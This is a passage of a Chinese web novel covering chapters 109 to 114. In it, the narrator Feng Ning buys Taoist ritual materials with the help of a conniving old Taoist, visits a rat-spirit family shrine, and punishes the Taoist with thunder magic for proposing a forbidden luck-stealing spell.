要知道在容城的雷劫,那最后的一道雷就是帮我清了体内的业火之力,那我都疼了好些天呢。
谁知道这一片都是业火!
怪不得会阴阳颠倒,扭曲空间,着实有些吓人。
但随后我又想到了一个问题,我说,“那这里是不是没事了?”
她点了点头,“你运气不错,刚好我能处理这边的事。”
我还有很多疑惑,正要问,我看到她身后突然亮起了一道光缝。那缝隙在不断地裂开,像是被雷电劈开了似的。
缝隙四周光芒四射,极为闪耀,而在缝隙之中,黑漆漆一片,深不见底。我仿佛在凝视深渊,听到了某种空洞的声音在流动。
王薛打量我,“你跟我一位故人很像,我已经一千四百年没有见过他了。”
一千四百年?
我愣了愣。
“你是个活了一千四百年的老女人?”我这话是脱口而出的。
但随后我却发现自己说错话了。
它不是人啊!
她是阴差啊!
活那么久应该是正常的吧?
“你可真会说话呢!”王薛一只手把那裂缝给撕开了,在走进去后,又很有深意的瞥了我一眼,然后连同那裂痕都消失不见了。
随着王薛的离开,我突然意识到这个女人可能非常的恐怖。我认为就算现在的我,都很难对付三婶娘那样的怪物。
结果这个女人顶着业火,把那上百个怪物都给灭了。
“好在我机智,没有得罪她,要不然,死定了!”
……
第一百零九章偶遇田道士
我虽然傲了点,但有些事还是能分得清大小王的。
从这女人出现吓唬我的时候,我就觉得她不一般。所以一直警惕,没有轻举妄动。
好在对方没有恶意,要不然凭她的手段,我觉得我活不成。甚至可能连逃都逃不走。
这让我突然想到了游泳池里虚间的那个坐忘女人,她会是这个阴差的对手吗?
额!
对了,这个阴差叫啥来着?我怎么记不起来了。
我有些疑惑,以我的记忆力,不会忘得如此快。但就是记不起来这女人的名字了,甚至我连她的样貌都快给忘了。
我深吸一口气,这真的是一种说不出的感受。我只记得当这个女人说出她名字的时候,我就觉得熟悉,但是就是想不起来是谁。
现在好了,连样貌和名字都给忘了。
“要不是我亲眼看到那些聻被她捏死,我都觉得这个女人不复存在。”我眯了眯眼睛,突然有些喘不过气来,就好像有些事没发生过似的。
此时此刻,我那种感觉越来越强烈了,以至于我有些崩溃和窒息。我也不知道咋回事,我不还在庆幸没有得罪那个女人嘛?
我突然觉得胃里面翻江倒海的,身体越来越不舒服,我强忍着,随手把窗户给打开了。
呼!
随着一股冷风吹袭,我哇的一下就吐了出来。再然后,我整个人都清醒了。
而那原本要失去的记忆,一下子就找回来了。
王薛?
我想起来了,这应该不会是巧合吧。我曾在洪教授的文献上看到过这个名字,她是阴间的十殿下!
站在窗台前,我望着那微微亮起来的天边,任凭那冷风吹袭,一动不动。
此刻我的心里面很复杂,我可以确定了,我被这女人给下了东西,应该是能遗忘的术法。好在我挺过来了。
但这让我觉得很屈辱,我想到了十年前被那个方士夺舍的情景。
又来了!
我眯了眯眼睛,“我管你是啥个东西,有朝一日老子真能长生,看我不打你屁股。”
我被气得放了狠话,然而事实上,后来我才知道,我想岔劈了。
但这是后话。
先说眼前的,随着那冷风吹袭,我的状况好多了,天也跟着亮了。
一大早,我二哥跟二嫂就来了。我因为那种状态脸色不是很好,我二哥二嫂还以为我跟啥东西动手了,受伤了呢。
听我说没事,两人这才放下了心来。
我说,“房子的事已经解决了,你们可以住进来了。我刚才又看了四周的风水,这地方不错,有内八卦,也有外八卦,未来是个好地方。”
说完,我运转道力,看到二哥二嫂两人头上的气运。那原本黑色的气运,渐渐地有所转变。
这次两人头上的黄气若隐若现起来,这跟当时王远的情况有些像。
然后我又说道,“二嫂,你们最近运气应该会不错,我觉得可以做点小生意,踏踏实实地过日子。”
听我这样说,我二哥突然咋呼道,“老幺,你的意思是,我是不是做啥啥成。”
我瞥了我二哥一眼,我现在是真看不上他,所以我才会对我二嫂说这些话。
我说,“人的命是定数,但人的气运是会变的。坏运能变好运,好运也能变坏运。你好自为之。”
我懒得跟我二哥废话,倒是跟我二嫂打了声招呼,然后就走了。
在门关上的那一刻,我听到了二哥二嫂的话。
二嫂说,“冯涛,冯宁人家又帮了我们一次,你叫他吃个饭能死吗?你这个做哥哥,真不是人!”
我二哥吹嘘,“哼,我是他二哥,我叫他来他就得来,叫他走就得走。行了,别墨迹了,现在房子也看好了,以后咱就是哈城人了!”
二嫂生气,“你,真是狗东西!”
…
说实话,我是真不想听他们夫妻之间的对话,但如今的我耳朵灵,哪怕坐上电梯都能听得到。
我摇了摇头,对我二哥的评价一针见血,狗改不了吃屎。
从我二哥家的小区离开之前,我站在小区大门口又观望了一下。
那种颠倒的感觉果然消散了,而后我竟然发现了一丝贵气,这小区红光照耀,风水顺畅。住在这里,家中不会有灾祸。
还真是应了一句话呢,福祸相依。
“冯涛,珍惜这种机会吧。”我倒是觉得我二哥有点狗命,找了个块风水宝地,未来应该会顺畅了吧。
来了哈城,我也没着急回家,听说道外区这边有卖文玩的地方,吃了屉包子我就去了。
我来这是想着买些制作道器和武器的东西,道器嘛,是我上次在丰区古玩市场看到那个吊坠我很感兴趣,想着自己能不能做出来。武器嘛,是我觉得我需要一把武器了。
总不能每次催动五雷诀都要找一根棍子吧?而且我觉得用棍子去敷衍的话,五雷诀的威力也会大打折扣。
这是一条老街,眼下开春寒风刺骨,但这一大早的人挤人,我也是成了其中一员。
随处可见的文玩贩子,摊位上也啥都有,什么铜钱,银元大头,唐三彩,一点不夸张,一个摊位五花八门啥都有。
除此之外,还有买卖核桃的,现场打文玩手串的,卖渔具的,卖鸡鸭鹅狗的。
给我的感觉就是一个字。
乱!
太乱了!
这哪里像是文玩市场,这根本就是菜市场嘛?我摇了摇头,这跟帝都那边的差距一目了然了。
嗯?
就在这时,我突然感受到了一股熟悉的气息。不,准确地说不是气息,而是一种感应。
因为!
田道士的心血在我手里呢!
它出现了,即使我没看到他,也能感受到他的存在。
他来这干啥?
我眯了眯眼睛,我认为田道士很有本事,而他应该也知道哪里能买到道家的正经儿东西,所以我跟了上去。
果然,在大约百米处,一个卖黑狗的地方,我看到了田道士在那跟狗贩子讨价还价呢。
在看田道士,他穿得破衣娄嗖的,说起话来,眼珠子在那转,估计是在算计啥呢。
我心想,我俩也算是不打不相识,再次见到我,他应该会很高兴吧。毕竟,也算是老朋友了。
随后,我就走了上去,但我没说话,只是看着田道士在那讨价还价。
偶遇。
还是老友,多美好的事啊。
……
第一百一十章属狗的老板
原本,田道士为了买那条小黑狗,在那跟狗贩子争得面红耳赤的。结果等我靠近,他表情突然就僵住了,接着把脑袋拧向了我,那表情跟见到鬼似的。
我笑着跟他打招呼,“好久不见啊田道长。”
田道士脸黑,“我一点也不想见到你。”
我笑了笑,“田道长,这话从何说起。我们可都是老相识了。”
田道士撇了撇嘴冷哼一声。
我皱了皱眉头,“田道长,你啥意思啊?不给我面子是吧?”
说完我顺手拿起了地上的铁棍。
田道长突然笑脸迎了过来,“哈哈哈,冯大师,您这说的是哪家话?我就是逗您呢。不知道冯大师来这古玩街做啥?有啥需要我帮忙的?”
看到田道长那清澈的眼神,我认为他是真心实意的。这老道长还真是的,开玩笑不早说。我刚才都想用五雷诀劈他了。
我说明了来意,田道长拍了拍胸脯打包票,“制作道器啊,您放心,我知道一家店,保证让您满意。”
而见我跟田道长聊得火热,那狗贩子有些不耐烦地问田道长,“这黑狗你买不买了?”
田道长大嘴一撇,“没看到我这有贵客吗?不买了!”
说完,田道长做了个请的手势,示意前面有家店,然后我就跟了上去。
说实话,许久不见田道长,他看上去有点落魄,穿得跟乞丐似的。
我问了下他的近况,他看上去有点蔫吧,“哎,别提了,提起来老子就特么生气。我被个小娘们把钱给骗光了。艹!”
我无语了,虽然我跟这田道士认识的不多,但这人啥本性我还是了解的。
这人嘴里面没实话,坑蒙拐骗,人老精马老滑的货色。
被女人骗?我看是用损招没得手吧。
“冯大师,你用这种眼神看我啥意思?你不信?”见我没说话,田道士有些郁闷地问我。
我摇头,“田道长,你啥人品你自己不清楚吗?”
田道士说,“冯大师,我说的都是真的。我田某人虽然不是啥好人,但对小姑娘那是真的喜欢,从不用卑劣的手段。十四万啊,老子给她买钻石,买lv包包,结果她却说把我当爷爷。该死的骗子。”
我懒得听田道士在这编故事,干脆不搭话茬,结果这老家伙喋喋不休地说了一路。
说什么他再也不相信爱情了啥的。
总算到了他说的那家店,这老家伙才开始正经了起来。从刚才的那种吊儿郎当的,一进店门口,他突然挺直了腰板,那原本猥琐的面容焕然一新,一脸正气。
“田道长,稀客,稀客,快请进。这位是?”老板是个中年人,亲自起身迎客,对田道长那叫一个尊敬。
“这位是冯大师。他今日来是想寻些制作道器的材料,把你店里好的东西都拿出来。”田道长突然坐在了椅子上,派头十足。
“啊,那快快请上三楼,真家伙都在三楼呢。”老板急忙客气。
还别说,这田道长带我来的地方真有东西,一二楼看上去平平常常的,这一踏上三楼就与众不同了。
古色古香的建筑风格,一些奇特的东西都摆在展台上,我下意识地就走了过去。
这是一棵雷击桃木,半米高,通体漆黑锃亮,上面散发着雷力。
“大师好眼力,这是来自长白山的一棵雷击桃木,田道长曾给看过,蕴含雷力。”老板急忙走过来说道。
我点了点头,又看向了一个核桃大的石头,它摆在柜台中间的一个盒子里,盒子中铺了一层黄布,这让它看上去很醒目。
“大师,这是一枚高僧的舍利,我找人曾问过,应该是二百年前一位金陵高僧的舍利。”老板的话不多,也不吹捧啥的,而是有啥说啥。
我心里很清楚,他之所以如此,完全是因为田道士,应该是不敢给我乱介绍。
而这东西也是真的,因为我在上面感受到了佛性。
我点了点头,没说话,又看向了一些佩戴用的绳子。
我有些惊讶,这些小绳子上居然有道力。而且这些道力我有些熟悉,我看向了田道士。
“咳咳,冯大师好眼力,这些绳子正是在下放在这寄卖的道器。”田道士朝我咧嘴笑道。
“这东西卖多少钱一条?”我拿起来看了看,里面虽然有道力,但貌似用处不大,连怨气都抵挡不了。
“回大师,田道长的这些辟邪绳,是本店销售最好的法器,两千块一条。”那老板认真道。
我愣住了,用鼻子闻了闻,然后随手捏了一下,这不就是黑狗毛吗?
随后,我看向了田道士,“我刚才要是没听错的话,那只黑狗卖你也就五块钱吧?”
果然啊,这老家伙真黑啊。
田道士尴尬地捏了捏嗓子,急忙凑了过来,“冯大师,您这是来砸我招牌的嘛?”
我笑着摇了摇头,“我继续看看。”
在我眼里,田道士这是生财有道,所以我不能做那种坏人名声的事。
我又看了看,挑了挑,他这地方的东西很专业,各式各样的道家专用的木头,什么枣木,桃木,柳木,杨木等等。每一种木头的属性也不一样,分类得很细致。
除此之外,他这有专业的黄符,百年的朱砂,用来打造道器的古黄铜,带有愿力的布匹等等。
我也是大开眼界。
不过,他这的东西也有一个致命的缺点。保真,但是太贵。
一百张黄符就要了我一万块!
更别说其他的东西了,那古黄铜直接四万,布匹一米三万。
我要的这点东西加起来十四万?
这钱我倒是有,但是我来得唐突,兜里就带了点路费。
我想了想说道,“老板,东西你给我留着,我回去取钱,最晚后天过来拿货。”
结果一听我这样说,这老板的面相有些变了,虽然还是笑脸相迎,但眼神却犀利了些。
他看了一眼田道士,又看了看我,微笑道,“大师,您是田道长介绍来的,所以能看到这三楼的货。但我这来往的大师可不在少数,就连那帝都的高人,都来我这买货。我这店啊,从不给客人留货。”
听老板这样说,我倒是没啥想法。人家是老板,人家的货想怎么卖就怎么卖。另外就是我也没有那种一定要造出道器的想法。
倒是一旁的田道士有点受不了了,他冷冰冰的说道,“赵老板,这位冯大师跟你遇到的那些人不一样。你就当给我个面子,这钱我过些天给你,成不?”
结果那赵老板却摇了摇头,“田道长,你我虽然合作,但一码归一码。这是十几万的货,不是千八百的。”
说完他又轻飘飘地瞥了我一眼,“田道长,下次想骗货,带个年长点的,这个太年轻了,当骗子都不合格!”
啥?
我是骗子?
听着这老板那阴阳怪气的话,我皱了皱眉头。
……
第一百一十一章干中学
田道士也有些急了,朝着这个赵老板挤眉弄眼的,结果那赵老板却笑着说道,“田道长,您是有本事,但在商言商,您虽帮了我,但在我这一亩三分地,也捞了不少好处不是?买卖我欢迎,想在我这弄那些虚头巴脑的,那就对不起了。”
田道士还想说些啥,这赵老板做了个手势,有点闭门谢客的意思。
我眯了眯眼睛,最后也没说啥。人家的买卖,咱不能强求。
“老板,郭少爷来了。”谁知道就在这时候,有人跑到三楼气喘吁吁的说道。
“快,快点请上来。”一听这个郭少爷来了,赵老板立马喜笑颜开。然后对田道士说,“田道长,你也知道的,我这地方可不缺顾客的。郭毅,黑城的佛子,这牌面不小吧?”
郭毅?
得知是郭毅,我倒是有些意外,居然在这地方碰到他了。
但一旁的田道士脸色不是很好,“灰仙家那门的佛子?”
赵老板点头道,“正是。郭少爷出手大方,前段时间曾在我这买了不少东西,一次性就付了三十万。”
说完,赵老板上下看着田道士,话里话外有点像是在上嘴脸。
说实话,这赵老板的变脸速度让我有些意外,但又觉得很真实。这让我想到了丰区古玩市场卖道器的那个老板,两人有点像呢。
说翻脸就翻脸,比狗都快。
田道士脸色阴沉,不说话了,但也没有啥过激的反应。
好在这个赵老板虽然变了脸,但没有赶人走的意思。随着楼梯口那传来脚步声,他急忙笑脸迎了上去。
“佛子,您来我店,真的是蓬荜生辉啊。快请,里面请,不知道佛子这次您需要点啥?我来帮您介绍呢!”
我转头看去,果然是佛子。但有些日子不见,这人看上去更瘦了。
再看田道长,在那撇了撇嘴小声嘀咕,“一个偷油世家的后起之秀,放在三十年前,他连见我的资格都没有。”
闻言,我眼前一亮,我觉得田道长肯定知道点啥。
我没急着问,因为郭毅刚上来就看到了我,他本打算跟那赵老板寒暄两句,结果突然就朝我走了过来,面带笑容的对我恭敬道,“冯大师,好久不见啊。”
我点了点头,“郭毅少爷,确实好久不见了。”
郭毅说道,“冯大师,您也来这买材料吗?您相中啥,您直说,直接算在我头上。”
郭毅一如既往地大方。
说实话,跟这种敞亮的有钱人办事,有的时候真的很痛快。
我想了想说道,“我确实想要买些东西,但钱没带够,你先帮我付了也行。等回黑城我给你。”
郭毅笑道,“冯大师,咱们这关系,啥钱不钱的。行,你说咋办我就咋办。老板,冯大师都拿的啥,我直接给付了。”
说完,郭毅看向了那赵老板。
而此刻,赵老板整个人已经有些麻了,他看了看我,又看了看郭毅,脸上强挤出一丝笑容说,“这个,冯大师,你和佛子认识啊。您早说啊,早说我,我不要钱!”
然而我摇了摇头,淡淡的说道,“那就不用了赵老板,我这个人不喜欢欠不认识人的人情,在商言商吧。”
赵老板有些尴尬了。
郭毅看了看我,又看了看赵老板,他虽然年轻,但应该也看出了其中的问题。
他冷冷地问这老板,“赵老板,到底咋回事?你惹冯大师生气了?”
赵老板支支吾吾,倒是圆滑道,“哎呀,您瞧,这不就是误会嘛。佛子,冯大师,田道长,你们先喝茶,我去把冯大师要的东西都装好。”
说完,他给一旁的店员使眼神,店员把我们请到了三楼的茶间,把茶水给我们沏上了。
对于我认识佛子这事,田道士感到非常意外,而见到佛子直接给我付钱买材料,田道士一点也不羡慕,因为他快嫉妒疯了。
我觉得这个家伙真的适合当道士,主打一个随心所欲,好事坏事,七情六欲,张口骗人,反正想干啥就要干啥的那种人。
“郭少爷,这次我欠你个人情。”我拿起了茶杯抿了一口说道。
“冯大师,这可是你说的哈,你的人情,那可不是谁都能欠的。我得珍惜。”郭毅情商不低,说的话很中听。
我笑了笑,点头应了下来。随后奇怪道,“你来这要买啥?”
提到这事,郭毅说道,“前段时间不是有个猫老太闹得很凶嘛,说是那老太跟儿媳妇不和上吊死了。结果晚上来了猫崽子,给她过了口气,诈尸咬了不少人。虽然后来这事突然就解决了,但我爹说,这是给我们家的警告,让我买些贡品去拜祭家里的仙人,心里踏实。”
我听得云里雾里的,猫老太这事我倒是听说了,但我觉得夸张成分多一些。因为从始至终,这件事都没有得到证实。
对于我这种眼见为实的人而言,可信度有,但是不大。应该就是个小众的事件,越传越邪乎。
我奇怪道,“你说的这两件事,貌似毫不相干。”
结果郭毅重重地点头说道,“冯大师,我也这样想的。你懂我。”
我笑了笑没说话。
倒是一旁的田道士突然说道,“你们是灰仙家,发生了这种事,确实应该拜祭老祖寻个安慰。”
闻言,郭毅瞥了田道士一眼,态度截然不同,有些冰冷道,“田道长,为啥这样说呢?”
我也疑惑呢。
田道长深吸一口气,态度很认真的说道,“因为佛子你们是灰家道统,偷油的。猫抓老鼠,相生相克。它突然出现,当然要警惕了。”
卧槽!
有道理啊!
我觉得田道长说得有道理,再看郭毅,他也沉思后点了点头,看来跟我想的一样,觉得田道长说得对。
这次我问田道长,“那五仙道统,那不是已经是仙家了吗?会怕个过了口气的猫怪物?”
田道士摇头道,“冯大师,具体我也不太清楚。我只知道万物相生相克,哪怕成了大仙,也逃不出这种宿命。我曾亲眼见到过一条渡劫的长虫,被山君给一巴掌拍死了。”
我惊讶,“肉体凡胎的山君,拍死了一条修炼的长虫?”
田道士点头,“是这样的。而在道统中,更是讲究个相生相克。所以发生了这种事,对于我们而言没啥,但对于灰仙家的道统,可能预示着灭顶之灾吧。”
虽然只是闲聊,但我突然有所顿悟,我认为田道士说得对。这似乎是一种很好的破灾的本事,以后要是在遇到麻烦,可以考虑相生相克的法子。
我想,我真的是在干中学啊。不经意的,就学会了一个本事呢。
……
第一百一十二章仙家的祠堂
一杯茶下肚,田道士的话得到了我跟佛子的认可。而这两人应该不知道我在想啥,他们聊了些贡品的事。
郭毅说主要看上了这家店的舍利子,其次是这的香,然后还有一些天山来的供果,说是老祖宗喜欢吃。
很快,赵老板就来了。因为郭毅的缘故,他对我的态度跟刚才截然不同,我的那些东西都给我用最精美的包装,说话也是带着笑意。
“两位大师,要不要去我家祠堂看看?”郭毅突然说道。
闻言,田道士倒是眼前一亮,一开始还小声嘟囔嘲讽郭毅呢,现在则是一脸的讨好。我心知肚明,这家伙肯定是看到郭毅的大方,惦记上了人家口袋里的钱。
但我也很清楚,郭毅可没有想象中的那么白痴,不会对谁都像对我那样。要知道田道士在龙省这一带名气不小,他认出了对方,却压根没有尊重的意思。
说白了,没当回事。
田道长故作矜持道,“佛子,这仙家道统的祠堂,听闻从不带外人前去,你这是要坏了规矩的。”
郭毅笑道,“田道长知道的真不少呢。确实是这样,仙家道统的祠堂都建在风水宝地之上,不带外人,一来是怕破坏了风水,二来,怕被人惦记。但那都是五十年前的老规矩了,现在宗族子弟,可以带朋友前去一看。”
说完,郭毅主要在看我的意思。
而田道长似乎很想去,他应该是故意说给我听的,“那还真是一件好事。听闻仙家道统的祠堂,那是由仙家生前亲自布的风水局。哪怕见过一次,也是好处多多,终身受益啊。”
说实话,虽然田道长说得天花乱坠,但我一点也不心动。看着手里的东西,我更想先回家。
郭毅倒是很有眼力见,他对我尊敬道,“冯大师,您拎着这些东西也不方便。要是信得过,我让我保镖跑一趟,把东西送到你家去,如何?”
我点了点头,这倒是个好办法,“那行,我跟你走一趟,我也想看看道统的仙家祠堂啥样的。”
郭毅家虽然在黑城郊外的庄园,但他家的祖宅却是在哈城外一个叫巴县的地方。
郭毅的保镖带着我的东西走了,然后我们坐上了郭毅的车,开了近三个多小时来到了巴县。
车子刚开到巴县,我突然就精神了,因为我看到了一片完整的城墙。
就是在三婶娘家村子看到的那种墙,它又出现了。但这一次却跟之前两次都不一样,它是完整的,一片一片的。
它们悬浮在半空中,上面似乎还有着一道道的金色纹路。
“车子停一下。”我突然说道。
郭毅跟田道长都有些奇怪的看着我,但郭毅啥也没问,直接让司机在道边停车。
我急忙开门下车,抬头望向半空,没有了车的阻挡,这次我看得更清楚了。在我头上就有那一栋墙,那城墙厚重,一块砖就跟一个成年人大小。
它非常高,根本看不到顶。一片下来,近乎百米,悬浮在空中,金光流转。
而在不远处,远处,更远的地方,我数了数,足有上百个这种墙。他们高低不平地悬浮在空中,似乎在有秩序地旋转。
“冯大师,你是看到啥了吗?”田道士也跟着下了车,顺着我的方向看去,但他似乎没啥反应。
我瞥了田道士一眼,我笑着摇了摇头,“没有,我只是想找个地方撒尿。”
闻言,田道士撇了撇嘴,碎碎叨叨地又回到了车里。
跟着我真的就上了个厕所,但在这期间,又观察着这些墙,最后我只能摇了摇头。
因为我真的不知道它们是咋回事。
我深吸一口气,提上了裤子,看着那尿的痕迹,我感慨道,“老子现在是修道的了,这尿都带有道力,这片土地算是捡着了。”
说完我又回到了车里,等到了郭毅祠堂,已经是下午四点多了。
等我们走了进去,我多多少少还有些意外的。郭毅住的是大庄园,大别墅,但他家这祠堂却像是个农村的那种自建房。
两层小楼带个院子,周围左邻右舍的。我们这一进来,还能看到隔壁家的大狼狗正趴在墙上盯着我们。
“这,没啥特别的啊。”我看到田道士又开始碎碎念了,他四处张望,看天看地,又掐指算来算去的,结果就是他好像啥也没看出来。
看得出来,他是真的失望。
“两位,还请在院中停留。”郭毅说完就进去了,而司机则是站在我俩面前,目视前方,也不说话,有点拦人的意思。
看到郭毅进去了,田道长碎碎念道,“都说五大仙家的道统如何如何神秘的,原来就是些寻常百姓家啊。不咋地,真的不咋地。”
闻言,我也没接过话茬,此刻,我听到屋里面有动静,里面应该是住着人呢。听声音,应该是两位老人。
我正想着呢,仙家祠堂这种地方,能住在这地,估计是郭家最年长的一辈吧。
谁知道,我突然感受到了一股强大的气息,正盯着我这边。
啪!
下一秒钟,我听到了巴掌声。在看去,田道士已经被抽翻在了地上,他那脸上,有着清晰可见的爪印。
那是老鼠的爪子。
嗯?
我眯了眯眼睛,抬眼就看到了一道人影,这人半坐在空中,鼠头人身,而那股气息就是来自它。
“大仙饶命,晚辈无意冒犯,还请大仙宽恕。”田道长应该也知道惹了麻烦,跪在地上认错,哪里像个道士。
结果,他的话刚说完,那空中的人影挥手,他直接被掀翻出了院子。
随后,我听到了一道声音,这声音入心。
“哼,小小道人,也敢满嘴污言秽语!滚!”它的这些话绝对是说给田道长听的,但它应该也想不到,我听得也是一清二楚。
而此刻的我也算明白了,为啥郭毅敢带我们前来,不怕坏了规矩。这东西的气息很强,寻常人想破坏点啥,应该没有那个机会呢。
另外我也有些纳闷,当初郭毅被那山魈缠上,以这个家伙的能力,应该能解决吧?
还用得着四处求医?
……
第一百一十三章那山尸是仙
看着门外连滚带爬的田道士,我带着疑惑。
而在此时,郭毅突然走了出来,他看都没有看田道士一眼,对我尊敬道,“冯大师,请。”
我跟郭毅进了屋,里面也没有想象中的奢华,真就是那种东北农村自建房。
当然了,又有些不同。这是个二楼,而东北农村的自建房大多数都是一楼。
至于其他的嘛,不管是陈设,还是建筑风格,那都没啥区别。
“冯先生年轻有为啊。”一进来,我便看到了个上了年纪的老人。
他面色红润,笑容慈祥,说起话来气度不凡。
“老人家您身体健康。”我笑了笑,难得地客气了下。因为在这老人的身上,我感受到了一股正气。
“请坐,要是不嫌弃的话,喝点茶。”老人家客客气气的。
我顺势坐了下来,再看郭毅,他则是规规矩矩候着,看上去很拘谨。
“猴王,我家以前经常喝。”老人家给我泡的口粮茶,但我觉得喝起来很舒服,味道不错。
“听口音,也是东北的。家在哪?”老人家又给我添了茶水,他的一只手有些颤抖,应该是帕金森。我推测,老人家的年纪应该九十多了,甚至更多。
“黑城的。”我说。
“哦,我当兵的时候去过,在那站过岗呢。”老人家说完喝了口茶,又说,“听郭毅说你救过他的命,还从老阴山全身而退了。你应该见过那个家伙了,对吧。”
提到了老阴山,我双眼望向了老人。老人还是那副随和的神态,悠哉地喝着茶,说着话。
但此刻,我却觉得老人肯定知道点啥。我问,“老人家,那老阴山到底咋回事?”
老人家摇头说道,“五十年前我曾去过一次,我见过那个东西,它已经成仙了。你能从她手里逃出来,有真本事的。”
“您说那山尸成仙了?”我惊讶。
老人家笑着说道,“那东西不是山尸,山尸是山神,大山中的神,也就是常说的山中老神仙。能点生灵得道。而她,说是成仙了,其实也不算是仙,而是拥有仙能力的怪物。”
虽然老人家说得很平淡,但我的心脏却跟着起起伏伏的,这还是我第一次知道有关那‘山尸’的事。
我还想问些啥,老人家却说,“小兄弟,那东西的事我就知道这些。我老了,有些东西记不住了。哎,年轻的时候跟人争,啥都争。老了老了,孙儿们在争,倒是那几个死对头没事找我叙叙旧,无趣了,无趣了。”
我其实挺讨厌这种说半截话的人,但我又觉得老人家貌似真的没啥可说的了。
倒是那些感叹的话,带着一种难以说清楚的悲凉感。
我没在问山尸的事,而是又问了佛子的事,我说,“老人家,你这家中有人护着,当初郭毅被山魈附身,应该很容易解决吧?”
我摸不清楚那鼠头人身的实力,但我觉得它那愿力,解决这种事貌似不难。
而我之所以说出这些疑惑,其实我也想套出一点关于五仙家道统的事。
闻言,郭毅想说话,却又闭上了嘴。倒是老人家笑着说道,“小兄弟,你是想知道仙家道统的关系吧?”
被老人家拆穿,我也不觉得尴尬,而是点了点头,“嗯。”
老人家说,“从本质上讲,五仙家的道统与东北出马仙都是一个根,都是五大仙的追随者。但后来我们这些道统不在依仗五仙家的力量了,所以分了出来。这就有了五仙家道统的存在。”
我就说嘛,总觉得他们有联系,没想到点在这呢。
我说,“老人家,是因为五个道统得到了能足以对抗五仙家的能力吗?”
老人摇了摇头,“这个我就不太清楚了。”
我跟老人又聊了会,老人情绪稳定,没有丝毫的不耐烦。直到天色晚了,郭毅这才说送我去酒店住下,我们才结束了聊天。
田道士一直在外面跪着,等我们出来,他才起来上车,跟我们去了县城里住进了酒店。
晚上,我本来打算睡觉的,突然听到有人敲门,等我开门看到田道士站在门口。
“田道长,有事?”我疑惑地看向他。
田道士点了点头,四处看了看,钻进了我屋里。我奇怪地打量他,他突然说,“冯大师,我想跟你做一笔交易。”
对于田道长这人,我觉得他是一肚子坏水,但他的话我却感兴趣,毕竟那医玉,真的是好东西。我心想,用不用拿五雷诀再劈他两次,看看有没有油水。
见我没说话,他贼眉鼠眼道,“冯大师,我有个法子能不知不觉的夺了那灰仙家的气运。您想要不?”
闻言,我平静的看向田道士,他这个家伙肯定不是在开玩笑。
我说,“你想从我这得到啥?”
田道长一脸认真道,“我的那一滴心血还我。”
我盯着田道长,他这话说出来,我就已经感受到了,他要动真格的。
见我没说话,田道长又说,“冯大师,你不想成仙吗?”
果然!
这个猥琐的老道士,懂的东西真不少呢!
我眯了眯眼睛,当从他口中说出了那‘成仙’两个字,我内心也动了动。
我说,“田道长,要是真有办法成仙,你不早成仙了?”
田道长脸上没有啥变化,他说,“冯大师,成仙,也要有成仙的资格。我说的这个法子是‘夺运’,乃是茅山的禁忌之术法。需要花费三十年的时间去消化掉灰仙家道统的气运。这个资格你有,因为你年轻,只需要等待上三十年,吃掉佛子家的仙运即可。而我,应该是等不到了。我曾找人算过,我还有十年的寿命,虽然有了这次机缘,但用不上了。”
说完,田道长那猥琐的脸上,露出了一丝难以掩饰的哀伤。
茅山术?
我没说话,示意他继续往下说。
田道长突然笑了笑,把手背在身后,倒是一脸认真道,“茅山之术,以诡异著称。布下这‘夺运’的禁术,那运气自然而然会落在布置之人的头上。茅山之中,曾有人靠着这个法子,吸干了两个仙家道统的气运,飞升成仙。冯大师。你难道不心动吗?”
田道长露出了一个诡异的笑容,一双眼睛死死地盯着我,他似乎觉得我不会拒绝。
……
第一百一十四章二劈田道士
成仙。
这对道士之人确实是天大的诱惑。
我看了田道士一眼,露出了一个纯真无害的笑容却没有说话。
田道士的笑容僵住了,他咽了口吐沫说,“冯大师,成仙啊,难道您不心动吗?”
我眯眼笑着看他,“田道长,你见过仙吗?”
田道士有些心虚的点了点头,“见过,三十年前,我曾见过我师傅他老人家飞升成仙。”
我冷笑道,“是吗?田道长,你所说的飞升成仙,不会就是**吧?”
我看到田道士的目光闪躲,却死鸭子嘴硬,“冯大师,我说的都是真的。那不是**,那是得到成仙了。”
我心中冷笑,得道成仙?这田道士还真敢忽悠我呢。
要是没有见到那仙家祠堂,我可能会信了这田道士的话。
但我见到了那鼠头人身的大仙之后,我对‘大仙’这个概念有了自己的想法。
我认为‘大仙’不是仙,它们只是得了些机缘的生灵。
而那老爷子的话,似乎也验证了我这一点。他说老阴山的那东西是仙,但又说不是仙。说明生灵是能拥有仙的能力的。
或者说,生灵能掌控一点真仙的能力,也被叫做仙。
这样的仙?
不成也罢!
还有一点,我可不是道士,老子是方士,求长生,不求成仙!
见我又迟迟没说话,田道士越发心虚,他眼神闪动,眼珠子反复地转来转去,应该是在想着怎么说服我。
我收起了笑容,冷冷的说道,“田道长,我这个人不喜欢别人欺骗我。”
说完,我催动了五雷诀,窗外突然黑云压城,电闪雷鸣。
噗通!
田道长直接跪那了,“冯大师,别,别啊,您要是不想成仙,那就不用这个法子嘛。不交易了,不交易了!”
说实话,此刻连我都觉得意外,我只是随意的催动了下五雷诀,手里连一把剑都没有,这雷云突然就来了。
我心中喜出望外,原来我的实力提升了有这么多?我自己却不知道。
但看着跪在地上的田道长,我眯了眯眼睛,这倒是个问话的机会,我冷漠道,“田道长,你敢如此妄言,所以说,你根本就不怕那灰大仙吧?还是说,它根本就不是仙呢?”
我这话音落下,田道长的脸都白了。他狠狠地咽了口吐沫,还在那装糊涂,“冯大师,您这话说的是啥意思啊。大仙,怎么能不是仙呢。”
我冷冷道,“真是不见棺材不掉泪!”
说完,我念着,“诸法万象,雷神为尊,法令,天雷、神雷、龙雷、**、社令雷,以我之名,急急如意令!给我劈!”
轰隆!
一道雷声轰鸣,接着一道雷电从黑云中劈来,这雷直接穿碎了酒店的玻璃,劈在了田老道的身上。
“哎呦,疼死我了!”田老道疼得满地打滚。
然而,看着疼痛中的田道士,此刻我心里却觉得很痛快,因为我早就想劈他了,总算是逮到了机会。
我眯了眯眼睛,又朝着天空挥了挥手,第二道雷又劈了过来。
嗖!
田道士感受到了雷力,都顾不上疼了,一个翻身要躲开。但是还是被击中了。
轰!
没有想象中的焦黑,但田道士整个人却都瘫了,剩下了那一口气。
能不能抗住第三下呢!
我再次要催动五雷诀!
“别,大师,我认错,我不该有小心思,别,别,再来,我真的会死的,会灰飞烟灭的。”田老道浑身颤抖,他都一把年纪了,但被雷轰了两下,看上去年轻不少。
以前是爷爷,现在感觉像孙子。
“老实了?”虽然我很想轰第三道雷,但我没那样做,因为我能感受到,田道士真会被轰死。
这个家伙对我而言,还有点用处。
“老实了,老实了。”田道士点头如捣蒜。
